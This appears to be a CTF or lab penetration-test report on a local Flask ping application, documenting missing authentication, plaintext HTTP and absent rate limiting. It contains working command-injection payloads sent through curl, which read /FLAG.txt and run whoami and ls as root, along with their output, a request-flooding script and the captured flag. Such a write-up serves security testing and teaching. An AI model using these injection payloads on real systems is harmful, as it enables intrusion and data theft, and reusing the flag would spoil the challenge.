# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-01: Complete Absence of Authentication System

**Summary:**
- **Vulnerable location:** All endpoints - GET `/`, POST `/ping`
- **Overview:** The application implements ZERO authentication mechanisms. The vulnerable command injection endpoint at POST `/ping` is directly accessible to any anonymous attacker without credentials, enabling immediate arbitrary command execution and flag capture.
- **Impact:** Complete system compromise without any authentication barrier. Anonymous attacker successfully captured CTF flag and achieved full command execution as root user in container.
- **Severity:** CRITICAL

**Prerequisites:**
- Network access to http://localhost:42775
- No credentials required
- No special tools required (curl, web browser, or any HTTP client sufficient)

**Exploitation Steps:**

1. **Verify anonymous access to landing page:**
```bash
curl -s http://localhost:42775/ | grep -A 5 "form"
```
Expected output: HTML form accepting `ip_address` parameter, no authentication required

2. **Exploit command injection to capture flag:**
```bash
curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; cat /FLAG.txt"
```
Expected output: HTML response containing the flag value

3. **Verify full command execution capability:**
```bash
curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; whoami"
```
Expected output: `root` (running as root user)

4. **Enumerate filesystem access:**
```bash
curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; ls -la /"
```
Expected output: Complete directory listing including FLAG.txt file

**Proof of Impact:**

**FLAG CAPTURED:** `FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}`

**Complete Exploitation Evidence:**

```
$ curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; cat /FLAG.txt"
<!DOCTYPE html>
<html>
<head>
    <title>Ping Result</title>
    <link rel="stylesheet" type="text/css" href="/static/styles.css">
</head>
<body>
    <div class="container">
        <h1>Ping Result for 127.0.0.1; cat /FLAG.txt</h1>
        <pre>FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}</pre>
    </div>
</body>
</html>
```

**Command Execution as Root:**
```
$ curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; whoami"
<h1>Ping Result for 127.0.0.1; whoami</h1>
<pre>root</pre>
```

**Filesystem Access Proof:**
```
$ curl -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; ls -la /"
total 8
dr-xr-xr-x.   1 root root  39 Oct 28 18:00 .
dr-xr-xr-x.   1 root root  39 Oct 28 18:00 ..
-rw-r--r--.   1 root root  70 Oct 24 23:50 FLAG.txt
drwxr-xr-x.   4 root root  93 Oct 24 23:50 app
[... additional output ...]
```

**Notes:**
- The absence of authentication means this vulnerability chain (authentication bypass → command injection → flag capture) requires only a single HTTP request
- No credentials, no session tokens, no API keys required
- Any anonymous attacker on the internet can immediately exploit this
- The command injection is covered by the Injection specialist, but the lack of authentication removes ALL barriers to exploitation
- Complete container compromise achieved with root privileges

---

### AUTH-VULN-02: Transport Security Completely Absent (HTTP Only)

**Summary:**
- **Vulnerable location:** All endpoints (all traffic transmitted over unencrypted HTTP on port 42775)
- **Overview:** The application runs entirely on unencrypted HTTP with no HTTPS/TLS configuration. All traffic including exploit payloads, command outputs, and sensitive data (flag) is transmitted in plaintext over the network.
- **Impact:** Network-level attackers can intercept all traffic including the captured flag value. Man-in-the-middle attacks are trivial to execute. Exploit payloads and responses are visible to any network observer.
- **Severity:** HIGH

**Prerequisites:**
- Network access to observe traffic between client and http://localhost:42775
- Tools: wireshark, tcpdump, or any network sniffer (for advanced demonstrations)
- For basic proof: curl with verbose output is sufficient

**Exploitation Steps:**

1. **Verify HTTP protocol is used (not HTTPS):**
```bash
curl -v http://localhost:42775/ 2>&1 | grep -E "(Connected|HTTP/)"
```
Expected output:
- `Connected to localhost (::1) port 42775`
- `GET / HTTP/1.1`
- `HTTP/1.1 200 OK`

2. **Verify HTTPS is NOT available on same port:**
```bash
curl -k https://localhost:42775/ 2>&1 | head -5
```
Expected output: TLS/SSL connection error proving HTTPS is not supported

3. **Demonstrate plaintext transmission of sensitive data (flag):**
```bash
curl -v -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; cat /FLAG.txt" 2>&1 | grep -E "(POST|FLAG)"
```
Shows both the POST request and flag response in plaintext

4. **Verify missing security headers:**
```bash
curl -I http://localhost:42775/
```
Expected: No `Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, or other security headers

**Proof of Impact:**

**HTTP Protocol Confirmation:**
```
$ curl -v http://localhost:42775/ 2>&1 | grep -E "(Connected|HTTP/)"
* Connected to localhost (::1) port 42775
> GET / HTTP/1.1
< HTTP/1.1 200 OK
```

**HTTPS Not Available:**
```
$ curl -k https://localhost:42775/ 2>&1
curl: (35) LibreSSL/3.3.6: error:1404B42E:SSL routines:ST_CONNECT:tlsv1 alert protocol version
```

**Plaintext Flag Transmission:**
```
$ curl -v -X POST http://localhost:42775/ping -d "ip_address=127.0.0.1; cat /FLAG.txt" 2>&1 | grep -E "(POST|FLAG)"
> POST /ping HTTP/1.1
<pre>FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}</pre>
```

**Missing Security Headers:**
```
$ curl -I http://localhost:42775/
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Tue, 28 Oct 2025 18:43:50 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 423
Connection: close
```
No `Strict-Transport-Security`, `Content-Security-Policy`, `X-Frame-Options`, or `X-Content-Type-Options` headers present.

**Notes:**
- All traffic is transmitted over HTTP port 42775 with zero encryption
- Network-level attackers (on same network, ISP, compromised routers) can read all traffic
- Exploit payloads and command outputs (including flag) are visible in plaintext
- No HSTS header means browsers will never upgrade to HTTPS automatically
- Enables passive reconnaissance and active man-in-the-middle attacks

---

### AUTH-VULN-03: Complete Absence of Rate Limiting and Abuse Defenses

**Summary:**
- **Vulnerable location:** POST `/ping` endpoint (and all other endpoints)
- **Overview:** The application implements ZERO rate limiting, CAPTCHA, IP throttling, or abuse prevention mechanisms. Attackers can send unlimited automated requests without any throttling, detection, or blocking.
- **Impact:** Automated exploitation tools can send hundreds of requests per second without restriction. Enables large-scale automated abuse, denial of service attacks, and unrestricted brute-force attempts. Successfully demonstrated 200 requests in 0.61 seconds (~327 requests/second) with 100% success rate.
- **Severity:** HIGH

**Prerequisites:**
- Network access to http://localhost:42775
- Python 3 with `requests` library for automated testing
- No authentication required

**Exploitation Steps:**

1. **Create automated rate limiting test script:**
```python
#!/usr/bin/env python3
import requests
import time
from statistics import mean, median

TARGET = "http://localhost:42775/ping"
NUM_REQUESTS = 200
PAYLOAD = {"ip_address": "127.0.0.1"}

print(f"[*] Starting rate limiting test")
print(f"[*] Target: {TARGET}")
print(f"[*] Number of requests: {NUM_REQUESTS}")

results = []
start_time = time.time()

for i in range(NUM_REQUESTS):
    try:
        req_start = time.time()
        response = requests.post(TARGET, data=PAYLOAD, timeout=5)
        req_end = time.time()
        
        results.append({
            "status": response.status_code,
            "time": req_end - req_start
        })
        
        if (i + 1) % 50 == 0:
            print(f"[+] Sent {i+1}/{NUM_REQUESTS} requests...")
    except Exception as e:
        results.append({"status": "ERROR", "time": 0})

end_time = time.time()
duration = end_time - start_time

# Analyze results
success_count = sum(1 for r in results if r["status"] == 200)
rate_limited = sum(1 for r in results if r["status"] == 429)
failures = len(results) - success_count

times = [r["time"] for r in results if r["status"] == 200]

print(f"\n{'='*80}")
print(f"TEST RESULTS - RATE LIMITING ANALYSIS")
print(f"{'='*80}")
print(f"\n[*] Test Duration: {duration:.2f} seconds")
print(f"[*] Requests per second: {NUM_REQUESTS/duration:.2f}")
print(f"\nREQUEST SUMMARY:")
print(f"  Total Requests Sent:    {NUM_REQUESTS}")
print(f"  Successful (HTTP 200):  {success_count}")
print(f"  Rate Limited (HTTP 429): {rate_limited}")
print(f"  Other Failures:         {failures}")

if times:
    print(f"\nRESPONSE TIME STATISTICS:")
    print(f"  Average:  {mean(times):.4f} seconds")
    print(f"  Median:   {median(times):.4f} seconds")
    print(f"  Min:      {min(times):.4f} seconds")
    print(f"  Max:      {max(times):.4f} seconds")

print(f"\n{'='*80}")
print(f"RATE LIMITING DETECTION:")
print(f"{'='*80}")
if rate_limited == 0 and success_count == NUM_REQUESTS:
    print(f"[!] NO RATE LIMITING DETECTED!")
    print(f"[!] All {NUM_REQUESTS} requests succeeded with HTTP 200 status.")
    print(f"[!] VULNERABILITY CONFIRMED: Unlimited automated requests allowed.")
else:
    print(f"[+] Rate limiting appears to be present.")
print(f"{'='*80}")
```

2. **Save script and execute:**
```bash
python3 test_rate_limiting.py
```

3. **Observe results - all requests succeed without throttling**

**Proof of Impact:**

**Automated Test Results:**
```
$ python3 test_rate_limiting.py
[*] Starting rate limiting test at 2025-10-28 11:45:02
[*] Target: http://localhost:42775/ping
[*] Number of requests: 200
[*] Payload: {'ip_address': '127.0.0.1'}
--------------------------------------------------------------------------------
[+] Sent 50/200 requests...
[+] Sent 100/200 requests...
[+] Sent 150/200 requests...
[+] Sent 200/200 requests...

================================================================================
TEST RESULTS - RATE LIMITING ANALYSIS
================================================================================

[*] Test Duration: 0.61 seconds
[*] Requests per second: 326.78

REQUEST SUMMARY:
  Total Requests Sent:    200
  Successful (HTTP 200):  200
  Rate Limited (HTTP 429): 0
  Other Failures:         0
  Total Failures:         0

STATUS CODE DISTRIBUTION:
  HTTP 200: 200 (100.0%)

RESPONSE TIME STATISTICS:
  Average:  0.0031 seconds
  Median:   0.0029 seconds
  Min:      0.0022 seconds
  Max:      0.0152 seconds

================================================================================
RATE LIMITING DETECTION:
================================================================================
[!] NO RATE LIMITING DETECTED!
[!] All 200 requests succeeded with HTTP 200 status.
[!] VULNERABILITY CONFIRMED: The application allows unlimited automated requests.
[!] Impact: Attackers can perform automated abuse without throttling.
================================================================================
```

**Key Evidence:**
- **200 requests sent in 0.61 seconds** (~327 requests/second)
- **100% success rate** (all 200 requests returned HTTP 200)
- **Zero rate limiting responses** (no HTTP 429 status codes)
- **Consistent response times** (avg: 3.1ms, max: 15.2ms) - no defensive slowdown
- No IP blocking, no CAPTCHA challenges, no throttling detected

**Notes:**
- The application accepts unlimited automated requests without any restrictions
- Enables automated exploitation at scale (hundreds of requests per second)
- Facilitates denial of service attacks through resource exhaustion
- No Flask-Limiter or rate limiting decorators present in code
- No CAPTCHA, no IP tracking, no request logging or monitoring
- Combined with the command injection vulnerability, enables automated data exfiltration and system abuse
- No defensive mechanisms to detect or prevent automated attack tools

---

## Summary

**Total Vulnerabilities Exploited:** 3 (all CRITICAL/HIGH severity)

**CTF Flag Captured:** `FLAG{a538f6e86f8af44cc167c451ea73b6820104879eb6a85f516262fd1d385fafbe}`

**Key Findings:**
1. **Complete absence of authentication** - Any anonymous attacker can immediately access and exploit the vulnerable command injection endpoint
2. **Plaintext HTTP transmission** - All traffic including exploit payloads and flag value transmitted without encryption
3. **Zero rate limiting** - Successfully demonstrated 327 requests/second with 100% success rate, enabling unlimited automated abuse

**Attack Chain:**
Anonymous Attacker → HTTP Request (no auth) → Command Injection at /ping → Flag Capture as Root → Complete System Compromise

**Impact:**
The complete absence of authentication combined with HTTP-only transmission and zero rate limiting creates a CRITICAL security posture where:
- Any anonymous user on the internet can immediately capture the flag and compromise the system
- All exploitation activity is transmitted in plaintext over the network
- Automated tools can abuse the application at scale without detection or throttling
- Single HTTP request achieves complete system compromise with root privileges

**Exploitation Evidence Level:** Level 4 - Account Takeover Demonstrated (complete system impersonation as root user with flag capture and full command execution capability)